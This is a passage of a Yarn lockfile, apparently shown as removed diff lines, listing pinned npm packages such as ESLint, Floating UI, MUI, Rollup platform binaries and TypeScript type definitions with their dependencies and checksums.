"npm:^3.2.1" - js-yaml: "npm:^4.1.1" - minimatch: "npm:^3.1.2" - strip-json-comments: "npm:^3.1.1" - checksum: 10c0/532c7acc7ddd042724c28b1f020bd7bf148fcd4653bb44c8314168b5f772508c842ce4ee070299cac51c5c5757d2124bdcfcef5551c8c58ff9986e3e17f2260d - languageName: node - linkType: hard - -"@eslint/js@npm:10.0.1": - version: 10.0.1 - resolution: "@eslint/js@npm:10.0.1" - peerDependencies: - eslint: ^10.0.0 - peerDependenciesMeta: - eslint: - optional: true - checksum: 10c0/9f3fcaf71ba7fdf65d82e8faad6ecfe97e11801cc3c362b306a88ea1ed1344ae0d35330dddb0e8ad18f010f6687a70b75491b9e01c8af57acd7987cee6b3ec6c - languageName: node - linkType: hard - -"@eslint/object-schema@npm:^3.0.2": - version: 3.0.2 - resolution: "@eslint/object-schema@npm:3.0.2" - checksum: 10c0/5f8b2e264bbde6f7c86f6846a2f04cb6e3f52df49e3cce0659cea31d7f7410bb5ac681f6f910294f8362e427054665d2c5b5c794580cab6b0d5a1c177e131ec1 - languageName: node - linkType: hard - -"@eslint/plugin-kit@npm:^0.6.0": - version: 0.6.0 - resolution: "@eslint/plugin-kit@npm:0.6.0" - dependencies: - "@eslint/core": "npm:^1.1.0" - levn: "npm:^0.4.1" - checksum: 10c0/1d726338a9f4537fe2848796c44d801093ea3a99166dbc45bc6f7742fa2ad74ce0c2f114092ce4460710a9dfe5ea6e3500446f81842388bf81328c97c3a43d9d - languageName: node - linkType: hard - -"@floating-ui/core@npm:^1.7.4": - version: 1.7.4 - resolution: "@floating-ui/core@npm:1.7.4" - dependencies: - "@floating-ui/utils": "npm:^0.2.10" - checksum: 10c0/b1175d92c0edbd0053c4ba014ad1f798ccc107de87a43a099e97af6265610cc25ef600f2b15d3763d39a79f7d36db11fcb84d0c28027beb3317e13a7ba197516 - languageName: node - linkType: hard - -"@floating-ui/dom@npm:^1.7.5": - version: 1.7.5 - resolution: "@floating-ui/dom@npm:1.7.5" - dependencies: - "@floating-ui/core": "npm:^1.7.4" - "@floating-ui/utils": "npm:^0.2.10" - checksum: 10c0/94bd262127fbf1177e542f4908cb07c17392782b1ca0ab9f2dfd7e102cabcc77b4de807847304dcb4c864d4b48e8ba292b27cdcfaca3ad4e3525ab397b766a3a - languageName: node - linkType: hard - -"@floating-ui/react-dom@npm:^2.1.1": - version: 2.1.7 - resolution: "@floating-ui/react-dom@npm:2.1.7" - dependencies: - "@floating-ui/dom": "npm:^1.7.5" - peerDependencies: - react: ">=16.8.0" - react-dom: ">=16.8.0" - checksum: 10c0/3ef4a53ac93d2757e7995ce0313b3c14c5c5c66f2cb893256cc70c74713ff1c192f88a1bde02e2f50e951a7a3d8513b14611a4dbcc2d313def1f7003f7296dba - languageName: node - linkType: hard - -"@floating-ui/utils@npm:^0.2.10": - version: 0.2.10 - resolution: "@floating-ui/utils@npm:0.2.10" - checksum: 10c0/e9bc2a1730ede1ee25843937e911ab6e846a733a4488623cd353f94721b05ec2c9ec6437613a2ac9379a94c2fd40c797a2ba6fa1df2716f5ce4aa6ddb1cf9ea4 - languageName: node - linkType: hard - -"@fontsource/public-sans@npm:5.2.7": - version: 5.2.7 - resolution: "@fontsource/public-sans@npm:5.2.7" - checksum: 10c0/7089c2edd3965b659e9450a3ec3a603a075b62c7b6488199c40beb4e8d277c0b43fab5d39962c3768d22b8f485ef57d833500a7e2dc6ff717616638b0fde37c3 - languageName: node - linkType: hard - -"@humanfs/core@npm:^0.19.1": - version: 0.19.1 - resolution: "@humanfs/core@npm:0.19.1" - checksum: 10c0/aa4e0152171c07879b458d0e8a704b8c3a89a8c0541726c6b65b81e84fd8b7564b5d6c633feadc6598307d34564bd53294b533491424e8e313d7ab6c7bc5dc67 - languageName: node - linkType: hard - -"@humanfs/node@npm:^0.16.6": - version: 0.16.7 - resolution: "@humanfs/node@npm:0.16.7" - dependencies: - "@humanfs/core": "npm:^0.19.1" - "@humanwhocodes/retry": "npm:^0.4.0" - checksum: 10c0/9f83d3cf2cfa37383e01e3cdaead11cd426208e04c44adcdd291aa983aaf72d7d3598844d2fe9ce54896bb1bf8bd4b56883376611c8905a19c44684642823f30 - languageName: node - linkType: hard - -"@humanwhocodes/module-importer@npm:^1.0.1": - version: 1.0.1 - resolution: "@humanwhocodes/module-importer@npm:1.0.1" - checksum: 10c0/909b69c3b86d482c26b3359db16e46a32e0fb30bd306a3c176b8313b9e7313dba0f37f519de6aa8b0a1921349e505f259d19475e123182416a506d7f87e7f529 - languageName: node - linkType: hard - -"@humanwhocodes/retry@npm:^0.4.0, @humanwhocodes/retry@npm:^0.4.2": - version: 0.4.3 - resolution: "@humanwhocodes/retry@npm:0.4.3" - checksum: 10c0/3775bb30087d4440b3f7406d5a057777d90e4b9f435af488a4923ef249e93615fb78565a85f173a186a076c7706a81d0d57d563a2624e4de2c5c9c66c486ce42 - languageName: node - linkType: hard - -"@isaacs/fs-minipass@npm:^4.0.0": - version: 4.0.1 - resolution: "@isaacs/fs-minipass@npm:4.0.1" - dependencies: - minipass: "npm:^7.0.4" - checksum: 10c0/c25b6dc1598790d5b55c0947a9b7d111cfa92594db5296c3b907e2f533c033666f692a3939eadac17b1c7c40d362d0b0635dc874cbfe3e70db7c2b07cc97a5d2 - languageName: node - linkType: hard - -"@jridgewell/gen-mapping@npm:^0.3.12, @jridgewell/gen-mapping@npm:^0.3.2, @jridgewell/gen-mapping@npm:^0.3.5": - version: 0.3.13 - resolution: "@jridgewell/gen-mapping@npm:0.3.13" - dependencies: - "@jridgewell/sourcemap-codec": "npm:^1.5.0" - "@jridgewell/trace-mapping": "npm:^0.3.24" - checksum: 10c0/9a7d65fb13bd9aec1fbab74cda08496839b7e2ceb31f5ab922b323e94d7c481ce0fc4fd7e12e2610915ed8af51178bdc61e168e92a8c8b8303b030b03489b13b - languageName: node - linkType: hard - -"@jridgewell/remapping@npm:^2.3.5": - version: 2.3.5 - resolution: "@jridgewell/remapping@npm:2.3.5" - dependencies: - "@jridgewell/gen-mapping": "npm:^0.3.5" - "@jridgewell/trace-mapping": "npm:^0.3.24" - checksum: 10c0/3de494219ffeb2c5c38711d0d7bb128097edf91893090a2dbc8ee0b55d092bb7347b1fd0f478486c5eab010e855c73927b1666f2107516d472d24a73017d1194 - languageName: node - linkType: hard - -"@jridgewell/resolve-uri@npm:^3.1.0": - version: 3.1.2 - resolution: "@jridgewell/resolve-uri@npm:3.1.2" - checksum: 10c0/d502e6fb516b35032331406d4e962c21fe77cdf1cbdb49c6142bcbd9e30507094b18972778a6e27cbad756209cfe34b1a27729e6fa08a2eb92b33943f680cf1e - languageName: node - linkType: hard - -"@jridgewell/sourcemap-codec@npm:^1.4.14, @jridgewell/sourcemap-codec@npm:^1.5.0": - version: 1.5.5 - resolution: "@jridgewell/sourcemap-codec@npm:1.5.5" - checksum: 10c0/f9e538f302b63c0ebc06eecb1dd9918dd4289ed36147a0ddce35d6ea4d7ebbda243cda7b2213b6a5e1d8087a298d5cf630fb2bd39329cdecb82017023f6081a0 - languageName: node - linkType: hard - -"@jridgewell/trace-mapping@npm:^0.3.24, @jridgewell/trace-mapping@npm:^0.3.28": - version: 0.3.31 - resolution: "@jridgewell/trace-mapping@npm:0.3.31" - dependencies: - "@jridgewell/resolve-uri": "npm:^3.1.0" - "@jridgewell/sourcemap-codec": "npm:^1.4.14" - checksum: 10c0/4b30ec8cd56c5fd9a661f088230af01e0c1a3888d11ffb6b47639700f71225be21d1f7e168048d6d4f9449207b978a235c07c8f15c07705685d16dc06280e9d9 - languageName: node - linkType: hard - -"@mui/base@npm:5.0.0-beta.70": - version: 5.0.0-beta.70 - resolution: "@mui/base@npm:5.0.0-beta.70" - dependencies: - "@babel/runtime": "npm:^7.26.0" - "@floating-ui/react-dom": "npm:^2.1.1" - "@mui/types": "npm:~7.2.24" - "@mui/utils": "npm:^6.4.8" - "@popperjs/core": "npm:^2.11.8" - clsx: "npm:^2.1.1" - prop-types: "npm:^15.8.1" - peerDependencies: - "@types/react": ^17.0.0 || ^18.0.0 || ^19.0.0 - react: ^17.0.0 || ^18.0.0 || ^19.0.0 - react-dom: ^17.0.0 || ^18.0.0 || ^19.0.0 - peerDependenciesMeta: - "@types/react": - optional: true - checksum: 10c0/9c462e81da21dee78d585333dabd3785d2dedd0736fbcf86cb3fbd7bc7ae1a049f5192c5ec2c6728d3420a4a6cccca4b0d15bbd979b4082acaa93e7df42c08d2 - languageName: node - linkType: hard - -"@mui/core-downloads-tracker@npm:^7.3.8": - version: 7.3.8 - resolution: "@mui/core-downloads-tracker@npm:7.3.8" - checksum: 10c0/bbce4375e47b8ef46af762d8837e006ccca26cc56c0efb34ac497a090e7e9fff868ea2dd423d3c28c4cf51ff9e4fbbb024d3afe1d19849533b06e6924fcfc4e9 - languageName: node - linkType: hard - -"@mui/lab@npm:7.0.1-beta.22": - version: 7.0.1-beta.22 - resolution: "@mui/lab@npm:7.0.1-beta.22" - dependencies: - "@babel/runtime": "npm:^7.28.6" - "@mui/system": "npm:^7.3.8" - "@mui/types": "npm:^7.4.11" - "@mui/utils": "npm:^7.3.8" - clsx: "npm:^2.1.1" - prop-types: "npm:^15.8.1" - peerDependencies: - "@emotion/react": ^11.5.0 - "@emotion/styled": ^11.3.0 - "@mui/material": ^7.3.8 - "@mui/material-pigment-css": ^7.3.8 - "@types/react": ^17.0.0 || ^18.0.0 || ^19.0.0 - react: ^17.0.0 || ^18.0.0 || ^19.0.0 - react-dom: ^17.0.0 || ^18.0.0 || ^19.0.0 - peerDependenciesMeta: - "@emotion/react": - optional: true - "@emotion/styled": - optional: true - "@mui/material-pigment-css": - optional: true - "@types/react": - optional: true - checksum: 10c0/82f67add04482feed568fb9ee5f9d6ed162aa393d65d739e7364140f4e2b4ce859c9f3668b417d8c2cb6bdb80976009b658a606861ecfa857cc61217a3d45f7c - languageName: node - linkType: hard - -"@mui/material@npm:7.3.8": - version: 7.3.8 - resolution: "@mui/material@npm:7.3.8" - dependencies: - "@babel/runtime": "npm:^7.28.6" - "@mui/core-downloads-tracker": "npm:^7.3.8" - "@mui/system": "npm:^7.3.8" - "@mui/types": "npm:^7.4.11" - "@mui/utils": "npm:^7.3.8" - "@popperjs/core": "npm:^2.11.8" - "@types/react-transition-group": "npm:^4.4.12" - clsx: "npm:^2.1.1" - csstype: "npm:^3.2.3" - prop-types: "npm:^15.8.1" - react-is: "npm:^19.2.3" - react-transition-group: "npm:^4.4.5" - peerDependencies: - "@emotion/react": ^11.5.0 - "@emotion/styled": ^11.3.0 - "@mui/material-pigment-css": ^7.3.8 - "@types/react": ^17.0.0 || ^18.0.0 || ^19.0.0 - react: ^17.0.0 || ^18.0.0 || ^19.0.0 - react-dom: ^17.0.0 || ^18.0.0 || ^19.0.0 - peerDependenciesMeta: - "@emotion/react": - optional: true - "@emotion/styled": - optional: true - "@mui/material-pigment-css": - optional: true - "@types/react": - optional: true - checksum: 10c0/065b97627cfdb7dd6237ff4437639c5d8df610e844bfa6f8c84e647d1f7bb0157cfd7b1938cf371d2b281d8bf85580c8b405638d741aae797ff64ee3b98943fc - languageName: node - linkType: hard - -"@mui/private-theming@npm:^7.3.8": - version: 7.3.8 - resolution: "@mui/private-theming@npm:7.3.8" - dependencies: - "@babel/runtime": "npm:^7.28.6" - "@mui/utils": "npm:^7.3.8" - prop-types: "npm:^15.8.1" - peerDependencies: - "@types/react": ^17.0.0 || ^18.0.0 || ^19.0.0 - react: ^17.0.0 || ^18.0.0 || ^19.0.0 - peerDependenciesMeta: - "@types/react": - optional: true - checksum: 10c0/4e7f1528dcaf00a036ee03a430569d66fe66313c2e11d6d70df705a54cb15e88af00e69ef55de2182ea86966c66d9f9f7e4d389059a8213901159fb03ecd679d - languageName: node - linkType: hard - -"@mui/styled-engine@npm:^7.3.8": - version: 7.3.8 - resolution: "@mui/styled-engine@npm:7.3.8" - dependencies: - "@babel/runtime": "npm:^7.28.6" - "@emotion/cache": "npm:^11.14.0" - "@emotion/serialize": "npm:^1.3.3" - "@emotion/sheet": "npm:^1.4.0" - csstype: "npm:^3.2.3" - prop-types: "npm:^15.8.1" - peerDependencies: - "@emotion/react": ^11.4.1 - "@emotion/styled": ^11.3.0 - react: ^17.0.0 || ^18.0.0 || ^19.0.0 - peerDependenciesMeta: - "@emotion/react": - optional: true - "@emotion/styled": - optional: true - checksum: 10c0/44defb63e5c489943c36c6b0a8551093389a65429c9c2cf21fe5f3fb338962a45f5fd57300a64c965de43be755424b65aef762944a55e2de862018d99b82f6a8 - languageName: node - linkType: hard - -"@mui/system@npm:7.3.8, @mui/system@npm:^7.3.8": - version: 7.3.8 - resolution: "@mui/system@npm:7.3.8" - dependencies: - "@babel/runtime": "npm:^7.28.6" - "@mui/private-theming": "npm:^7.3.8" - "@mui/styled-engine": "npm:^7.3.8" - "@mui/types": "npm:^7.4.11" - "@mui/utils": "npm:^7.3.8" - clsx: "npm:^2.1.1" - csstype: "npm:^3.2.3" - prop-types: "npm:^15.8.1" - peerDependencies: - "@emotion/react": ^11.5.0 - "@emotion/styled": ^11.3.0 - "@types/react": ^17.0.0 || ^18.0.0 || ^19.0.0 - react: ^17.0.0 || ^18.0.0 || ^19.0.0 - peerDependenciesMeta: - "@emotion/react": - optional: true - "@emotion/styled": - optional: true - "@types/react": - optional: true - checksum: 10c0/e584af421b553c1ab11783a769c26ca38f2415d71ffd0fc7296e299e47ab0650d35c6be408f8486239b1eab78481af8a663615c758f96bc1e8290482afcc0c22 - languageName: node - linkType: hard - -"@mui/types@npm:^7.4.11": - version: 7.4.11 - resolution: "@mui/types@npm:7.4.11" - dependencies: - "@babel/runtime": "npm:^7.28.6" - peerDependencies: - "@types/react": ^17.0.0 || ^18.0.0 || ^19.0.0 - peerDependenciesMeta: - "@types/react": - optional: true - checksum: 10c0/c7e73d3fbcd3d8fa55ef172faa58d5b8aa64d1faf26b2f4a13871444dd0e57577567c9eefc4a14de0bc0644f7c325302942496a41b165007defed24548e7da04 - languageName: node - linkType: hard - -"@mui/types@npm:~7.2.24": - version: 7.2.24 - resolution: "@mui/types@npm:7.2.24" - peerDependencies: - "@types/react": ^17.0.0 || ^18.0.0 || ^19.0.0 - peerDependenciesMeta: - "@types/react": - optional: true - checksum: 10c0/7756339cae70e9b684c4311924e4e3882f908552b69c434b4d13faf2f5908ce72fe889a31890257c5ad42a085207be7c1661981dfc683293e90ac6dfac3759d0 - languageName: node - linkType: hard - -"@mui/utils@npm:^6.4.8": - version: 6.4.9 - resolution: "@mui/utils@npm:6.4.9" - dependencies: - "@babel/runtime": "npm:^7.26.0" - "@mui/types": "npm:~7.2.24" - "@types/prop-types": "npm:^15.7.14" - clsx: "npm:^2.1.1" - prop-types: "npm:^15.8.1" - react-is: "npm:^19.0.0" - peerDependencies: - "@types/react": ^17.0.0 || ^18.0.0 || ^19.0.0 - react: ^17.0.0 || ^18.0.0 || ^19.0.0 - peerDependenciesMeta: - "@types/react": - optional: true - checksum: 10c0/27122262bc24d31e8906e3133f3f6e6c858733802019e0e9ec6dedf632ca46287ab3735c9da6be7a7e0b4f043ced9b8f36b5b21bfef1d96ecfa5d150ea458508 - languageName: node - linkType: hard - -"@mui/utils@npm:^7.3.5, @mui/utils@npm:^7.3.8": - version: 7.3.8 - resolution: "@mui/utils@npm:7.3.8" - dependencies: - "@babel/runtime": "npm:^7.28.6" - "@mui/types": "npm:^7.4.11" - "@types/prop-types": "npm:^15.7.15" - clsx: "npm:^2.1.1" - prop-types: "npm:^15.8.1" - react-is: "npm:^19.2.3" - peerDependencies: - "@types/react": ^17.0.0 || ^18.0.0 || ^19.0.0 - react: ^17.0.0 || ^18.0.0 || ^19.0.0 - peerDependenciesMeta: - "@types/react": - optional: true - checksum: 10c0/369e53295f8cd75d7ea3ef8d1c532cae6a34b7e7d834b2333933f52db04bf2aa3b8a808bdb864ed69b6cc56b1395337e93952e0cd06da872dfd867f1bb53dd34 - languageName: node - linkType: hard - -"@mui/x-charts-vendor@npm:8.26.0": - version: 8.26.0 - resolution: "@mui/x-charts-vendor@npm:8.26.0" - dependencies: - "@babel/runtime": "npm:^7.28.4" - "@types/d3-array": "npm:^3.2.2" - "@types/d3-color": "npm:^3.1.3" - "@types/d3-format": "npm:^3.0.4" - "@types/d3-interpolate": "npm:^3.0.4" - "@types/d3-path": "npm:^3.1.1" - "@types/d3-scale": "npm:^4.0.9" - "@types/d3-shape": "npm:^3.1.7" - "@types/d3-time": "npm:^3.0.4" - "@types/d3-time-format": "npm:^4.0.3" - "@types/d3-timer": "npm:^3.0.2" - d3-array: "npm:^3.2.4" - d3-color: "npm:^3.1.0" - d3-format: "npm:^3.1.0" - d3-interpolate: "npm:^3.0.1" - d3-path: "npm:^3.1.0" - d3-scale: "npm:^4.0.2" - d3-shape: "npm:^3.2.0" - d3-time: "npm:^3.1.0" - d3-time-format: "npm:^4.1.0" - d3-timer: "npm:^3.0.1" - flatqueue: "npm:^3.0.0" - internmap: "npm:^2.0.3" - checksum: 10c0/9fe72a5ff949cc2e3a7d19f30ccb79c21be91d69cb6489eb263180cb01954d373bfb019c4079bca425eba29bac5e15cdc34e9ee877e2af558e65fda0759e12e6 - languageName: node - linkType: hard - -"@mui/x-charts@npm:8.27.0": - version: 8.27.0 - resolution: "@mui/x-charts@npm:8.27.0" - dependencies: - "@babel/runtime": "npm:^7.28.4" - "@mui/utils": "npm:^7.3.5" - "@mui/x-charts-vendor": "npm:8.26.0" - "@mui/x-internal-gestures": "npm:0.4.0" - "@mui/x-internals": "npm:8.26.0" - bezier-easing: "npm:^2.1.0" - clsx: "npm:^2.1.1" - prop-types: "npm:^15.8.1" - reselect: "npm:^5.1.1" - use-sync-external-store: "npm:^1.6.0" - peerDependencies: - "@emotion/react": ^11.9.0 - "@emotion/styled": ^11.8.1 - "@mui/material": ^5.15.14 || ^6.0.0 || ^7.0.0 - "@mui/system": ^5.15.14 || ^6.0.0 || ^7.0.0 - react: ^17.0.0 || ^18.0.0 || ^19.0.0 - react-dom: ^17.0.0 || ^18.0.0 || ^19.0.0 - peerDependenciesMeta: - "@emotion/react": - optional: true - "@emotion/styled": - optional: true - checksum: 10c0/113982a8fb377d7cef74612b4edf96ef07040d25ca468eed54101894d46e5706f4aca066b47a1adcd40dd1f7f69a00e8509d72a55ac4edc8c6a4043a5d6b11d5 - languageName: node - linkType: hard - -"@mui/x-internal-gestures@npm:0.4.0": - version: 0.4.0 - resolution: "@mui/x-internal-gestures@npm:0.4.0" - dependencies: - "@babel/runtime": "npm:^7.28.4" - checksum: 10c0/29b278a8933b65acd9530a259fd95d6d4a721e4a5c9f34dfab818a13a50fb560959d56519c35fb9a4b5f924aaf38c8f44407b8e82b90754af255fcaad75d0118 - languageName: node - linkType: hard - -"@mui/x-internals@npm:8.26.0": - version: 8.26.0 - resolution: "@mui/x-internals@npm:8.26.0" - dependencies: - "@babel/runtime": "npm:^7.28.4" - "@mui/utils": "npm:^7.3.5" - reselect: "npm:^5.1.1" - use-sync-external-store: "npm:^1.6.0" - peerDependencies: - react: ^17.0.0 || ^18.0.0 || ^19.0.0 - checksum: 10c0/819564e1b1c7626f5e237edd81f716a3871df1479f2e2e9fbef45a5963df21c510eca4931f6af726fdcd9dc643a019e44c5d61657865b389ef0a2ab5abb10d6c - languageName: node - linkType: hard - -"@npmcli/agent@npm:^4.0.0": - version: 4.0.0 - resolution: "@npmcli/agent@npm:4.0.0" - dependencies: - agent-base: "npm:^7.1.0" - http-proxy-agent: "npm:^7.0.0" - https-proxy-agent: "npm:^7.0.1" - lru-cache: "npm:^11.2.1" - socks-proxy-agent: "npm:^8.0.3" - checksum: 10c0/f7b5ce0f3dd42c3f8c6546e8433573d8049f67ef11ec22aa4704bc41483122f68bf97752e06302c455ead667af5cb753e6a09bff06632bc465c1cfd4c4b75a53 - languageName: node - linkType: hard - -"@npmcli/fs@npm:^5.0.0": - version: 5.0.0 - resolution: "@npmcli/fs@npm:5.0.0" - dependencies: - semver: "npm:^7.3.5" - checksum: 10c0/26e376d780f60ff16e874a0ac9bc3399186846baae0b6e1352286385ac134d900cc5dafaded77f38d77f86898fc923ae1cee9d7399f0275b1aa24878915d722b - languageName: node - linkType: hard - -"@pkgr/core@npm:^0.2.9": - version: 0.2.9 - resolution: "@pkgr/core@npm:0.2.9" - checksum: 10c0/ac8e4e8138b1a7a4ac6282873aef7389c352f1f8b577b4850778f5182e4a39a5241facbe48361fec817f56d02b51691b383010843fb08b34a8e8ea3614688fd5 - languageName: node - linkType: hard - -"@popperjs/core@npm:^2.11.8": - version: 2.11.8 - resolution: "@popperjs/core@npm:2.11.8" - checksum: 10c0/4681e682abc006d25eb380d0cf3efc7557043f53b6aea7a5057d0d1e7df849a00e281cd8ea79c902a35a414d7919621fc2ba293ecec05f413598e0b23d5a1e63 - languageName: node - linkType: hard - -"@rc-component/util@npm:^1.3.0": - version: 1.9.0 - resolution: "@rc-component/util@npm:1.9.0" - dependencies: - is-mobile: "npm:^5.0.0" - react-is: "npm:^18.2.0" - peerDependencies: - react: ">=18.0.0" - react-dom: ">=18.0.0" - checksum: 10c0/0c004b82cdd45d624e5da315d4e534b739b04af4d5b070281ed13434d5fa09c40b89d06e8c4b97d262682a0f5dadcd2edfa2467498e0476eb6134bcbc391d4bb - languageName: node - linkType: hard - -"@rolldown/pluginutils@npm:1.0.0-rc.3": - version: 1.0.0-rc.3 - resolution: "@rolldown/pluginutils@npm:1.0.0-rc.3" - checksum: 10c0/3928b6282a30f307d1b075d2f217180ae173ea9e00638ce46ab65f089bd5f7a0b2c488ae1ce530f509387793c656a2910337c4cd68fa9d37d7e439365989e699 - languageName: node - linkType: hard - -"@rollup/rollup-android-arm-eabi@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-android-arm-eabi@npm:4.59.0" - conditions: os=android & cpu=arm - languageName: node - linkType: hard - -"@rollup/rollup-android-arm64@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-android-arm64@npm:4.59.0" - conditions: os=android & cpu=arm64 - languageName: node - linkType: hard - -"@rollup/rollup-darwin-arm64@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-darwin-arm64@npm:4.59.0" - conditions: os=darwin & cpu=arm64 - languageName: node - linkType: hard - -"@rollup/rollup-darwin-x64@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-darwin-x64@npm:4.59.0" - conditions: os=darwin & cpu=x64 - languageName: node - linkType: hard - -"@rollup/rollup-freebsd-arm64@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-freebsd-arm64@npm:4.59.0" - conditions: os=freebsd & cpu=arm64 - languageName: node - linkType: hard - -"@rollup/rollup-freebsd-x64@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-freebsd-x64@npm:4.59.0" - conditions: os=freebsd & cpu=x64 - languageName: node - linkType: hard - -"@rollup/rollup-linux-arm-gnueabihf@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-linux-arm-gnueabihf@npm:4.59.0" - conditions: os=linux & cpu=arm & libc=glibc - languageName: node - linkType: hard - -"@rollup/rollup-linux-arm-musleabihf@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-linux-arm-musleabihf@npm:4.59.0" - conditions: os=linux & cpu=arm & libc=musl - languageName: node - linkType: hard - -"@rollup/rollup-linux-arm64-gnu@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-linux-arm64-gnu@npm:4.59.0" - conditions: os=linux & cpu=arm64 & libc=glibc - languageName: node - linkType: hard - -"@rollup/rollup-linux-arm64-musl@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-linux-arm64-musl@npm:4.59.0" - conditions: os=linux & cpu=arm64 & libc=musl - languageName: node - linkType: hard - -"@rollup/rollup-linux-loong64-gnu@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-linux-loong64-gnu@npm:4.59.0" - conditions: os=linux & cpu=loong64 & libc=glibc - languageName: node - linkType: hard - -"@rollup/rollup-linux-loong64-musl@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-linux-loong64-musl@npm:4.59.0" - conditions: os=linux & cpu=loong64 & libc=musl - languageName: node - linkType: hard - -"@rollup/rollup-linux-ppc64-gnu@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-linux-ppc64-gnu@npm:4.59.0" - conditions: os=linux & cpu=ppc64 & libc=glibc - languageName: node - linkType: hard - -"@rollup/rollup-linux-ppc64-musl@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-linux-ppc64-musl@npm:4.59.0" - conditions: os=linux & cpu=ppc64 & libc=musl - languageName: node - linkType: hard - -"@rollup/rollup-linux-riscv64-gnu@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-linux-riscv64-gnu@npm:4.59.0" - conditions: os=linux & cpu=riscv64 & libc=glibc - languageName: node - linkType: hard - -"@rollup/rollup-linux-riscv64-musl@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-linux-riscv64-musl@npm:4.59.0" - conditions: os=linux & cpu=riscv64 & libc=musl - languageName: node - linkType: hard - -"@rollup/rollup-linux-s390x-gnu@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-linux-s390x-gnu@npm:4.59.0" - conditions: os=linux & cpu=s390x & libc=glibc - languageName: node - linkType: hard - -"@rollup/rollup-linux-x64-gnu@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-linux-x64-gnu@npm:4.59.0" - conditions: os=linux & cpu=x64 & libc=glibc - languageName: node - linkType: hard - -"@rollup/rollup-linux-x64-musl@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-linux-x64-musl@npm:4.59.0" - conditions: os=linux & cpu=x64 & libc=musl - languageName: node - linkType: hard - -"@rollup/rollup-openbsd-x64@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-openbsd-x64@npm:4.59.0" - conditions: os=openbsd & cpu=x64 - languageName: node - linkType: hard - -"@rollup/rollup-openharmony-arm64@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-openharmony-arm64@npm:4.59.0" - conditions: os=openharmony & cpu=arm64 - languageName: node - linkType: hard - -"@rollup/rollup-win32-arm64-msvc@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-win32-arm64-msvc@npm:4.59.0" - conditions: os=win32 & cpu=arm64 - languageName: node - linkType: hard - -"@rollup/rollup-win32-ia32-msvc@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-win32-ia32-msvc@npm:4.59.0" - conditions: os=win32 & cpu=ia32 - languageName: node - linkType: hard - -"@rollup/rollup-win32-x64-gnu@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-win32-x64-gnu@npm:4.59.0" - conditions: os=win32 & cpu=x64 - languageName: node - linkType: hard - -"@rollup/rollup-win32-x64-msvc@npm:4.59.0": - version: 4.59.0 - resolution: "@rollup/rollup-win32-x64-msvc@npm:4.59.0" - conditions: os=win32 & cpu=x64 - languageName: node - linkType: hard - -"@types/babel__core@npm:^7.20.5": - version: 7.20.5 - resolution: "@types/babel__core@npm:7.20.5" - dependencies: - "@babel/parser": "npm:^7.20.7" - "@babel/types": "npm:^7.20.7" - "@types/babel__generator": "npm:*" - "@types/babel__template": "npm:*" - "@types/babel__traverse": "npm:*" - checksum: 10c0/bdee3bb69951e833a4b811b8ee9356b69a61ed5b7a23e1a081ec9249769117fa83aaaf023bb06562a038eb5845155ff663e2d5c75dd95c1d5ccc91db012868ff - languageName: node - linkType: hard - -"@types/babel__generator@npm:*": - version: 7.27.0 - resolution: "@types/babel__generator@npm:7.27.0" - dependencies: - "@babel/types": "npm:^7.0.0" - checksum: 10c0/9f9e959a8792df208a9d048092fda7e1858bddc95c6314857a8211a99e20e6830bdeb572e3587ae8be5429e37f2a96fcf222a9f53ad232f5537764c9e13a2bbd - languageName: node - linkType: hard - -"@types/babel__template@npm:*": - version: 7.4.4 - resolution: "@types/babel__template@npm:7.4.4" - dependencies: - "@babel/parser": "npm:^7.1.0" - "@babel/types": "npm:^7.0.0" - checksum: 10c0/cc84f6c6ab1eab1427e90dd2b76ccee65ce940b778a9a67be2c8c39e1994e6f5bbc8efa309f6cea8dc6754994524cd4d2896558df76d92e7a1f46ecffee7112b - languageName: node - linkType: hard - -"@types/babel__traverse@npm:*": - version: 7.28.0 - resolution: "@types/babel__traverse@npm:7.28.0" - dependencies: - "@babel/types": "npm:^7.28.2" - checksum: 10c0/b52d7d4e8fc6a9018fe7361c4062c1c190f5778cf2466817cb9ed19d69fbbb54f9a85ffedeb748ed8062d2cf7d4cc088ee739848f47c57740de1c48cbf0d0994 - languageName: node - linkType: hard - -"@types/d3-array@npm:^3.2.2": - version: 3.2.2 - resolution: "@types/d3-array@npm:3.2.2" - checksum: 10c0/6137cb97302f8a4f18ca22c0560c585cfcb823f276b23d89f2c0c005d72697ec13bca671c08e68b4b0cabd622e3f0e91782ee221580d6774074050be96dd7028 - languageName: node - linkType: hard - -"@types/d3-color@npm:*, @types/d3-color@npm:^3.1.3": - version: 3.1.3 - resolution: "@types/d3-color@npm:3.1.3" - checksum: 10c0/65eb0487de606eb5ad81735a9a5b3142d30bc5ea801ed9b14b77cb14c9b909f718c059f13af341264ee189acf171508053342142bdf99338667cea26a2d8d6ae - languageName: node - linkType: hard - -"@types/d3-format@npm:^3.0.4": - version: 3.0.4 - resolution: "@types/d3-format@npm:3.0.4" - checksum: 10c0/3ac1600bf9061a59a228998f7cd3f29e85cbf522997671ba18d4d84d10a2a1aff4f95aceb143fa9960501c3ec351e113fc75884e6a504ace44dc1744083035ee - languageName: node - linkType: hard - 